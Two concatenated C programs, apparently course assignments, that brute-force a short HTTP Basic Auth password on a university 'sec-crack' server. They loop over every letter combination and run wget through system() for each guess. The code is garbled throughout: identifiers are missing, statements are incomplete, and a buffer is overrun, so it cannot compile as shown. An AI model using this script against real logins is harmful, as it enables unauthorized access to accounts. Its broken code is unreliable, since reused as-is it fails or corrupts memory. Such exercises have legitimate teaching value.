#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int , end;
	int             i, j, k, p;
	char            [52];
	char            tempch = 'a';
	char            password[3] = {'\0', '\0', '\0'};
	int             check, stop = 1;
	    
	float   total_time; 	
	int number; 
	 = time();	
 	

	
	for (i = 0; i < 26; i++) {
		[i] = tempch;
		tempch++;

	}
	tempch = 'A';
	for (i = 26; i < 52; i++) {
		[i] = tempch;
		tempch++;
	}

	
	if (stop == 1) {
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time(); 
				total_time = (end-)/1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

				exit(0);
				stop = 0;
			}
		}
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				check = SysCall(password);
				if (check == 0) {
					
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

					exit(0);
					stop = 0;
				}
			}
		}


		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				for (p = 0; p < 52; p++) {
					password[2] = [p];
					check = SysCall(password);
					if (check == 0) {
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

						stop = 0;
						exit(0);
						
					}
				}
			}
		}


	}
	

	
	return (EXIT_SUCCESS);
}
int 
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget  --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);
	
	printf("%s\t",password);
	fflush(stdout);
	rettype = system();

	if (rettype == 0) {
		printf("Successfully retrieved password: \'%s\'\n");
		return 0;
	}
	strcpy(, "");
}

#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,j,k,m,count=0,flage=0;
	FILE* log;
	time_t ,finish;
	double ttime;
	char s[30];
	char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
	char add[100];
	strcpy(add,"wget --http-user= --http-passwd=    -nv  -o log http://sec-crack.cs.rmit.edu./SEC/2/");
	=time(NULL);	
	for(i=0;i<52;i++)	
	{
		for(j=0;j<52;j++)
		{
			for(k=0;k<52;k++)
			{
			printf("%c %c %c\n",arr[i],arr[j],arr[k]);
			
			add[40]=arr[i];
			add[41]=arr[j];
			add[42]=arr[k];
			system(add);
			count++;
			log=fopen("log","r");
			if(log!=(FILE*)NULL)
			fgets(s,100,log);
			printf("%s",s);		
				if(strcmp(s,"Authorization failed.\n")!=0)
				{
					finish=time(NULL);
					ttime=difftime(,finish);
					printf("\nThe password is %c%c%c \nThe time:%f\n The  of attempts %d",arr[i],arr[j],arr[k],ttime,count);
					flage=1;
					break;
				}
			
				fclose(log);
			}
		}
	}
	if(flage==0)	
	{
		for(i=0;i<52;i++)
		{
		add[40]=arr[i];
		system(add);
			count++;
			log=fopen("log","r");
			if(log!=(FILE*)NULL)
			fgets(s,100,log);
			printf("%s",s);
				if(strcmp(s,"Authorization failed.\n")!=0)
				{
					finish=time(NULL);
					ttime=difftime(,finish);
					printf("\nThe password is %c%c%c \nThe time:%f\n The  of attempts %d",arr[i],ttime,count);
					flage=1;
					break;
				}
			
				fclose(log);
		}
	}
	if(flage==0)	  
	{
		for(i=0;i<52;i++)
		{
			for(j=0;j<52;j++)
			{
			add[40]=arr[i];
			add[41]=arr[j];
			system(add);
			count++;
			log=fopen("log","r");
			if(log!=(FILE*)NULL)
			fgets(s,100,log);
			printf("%s",s);
				if(strcmp(s,"Authorization failed.\n")!=0)
				{
					finish=time(NULL);
					ttime=difftime(,finish);
					printf("\nThe password is %c%c%c \nThe time:%f\n The  of attempts %d",arr[i],arr[j],ttime,count);
					flage=1;
					break;
				}
			
				fclose(log);
			}
		}
	}
	
}
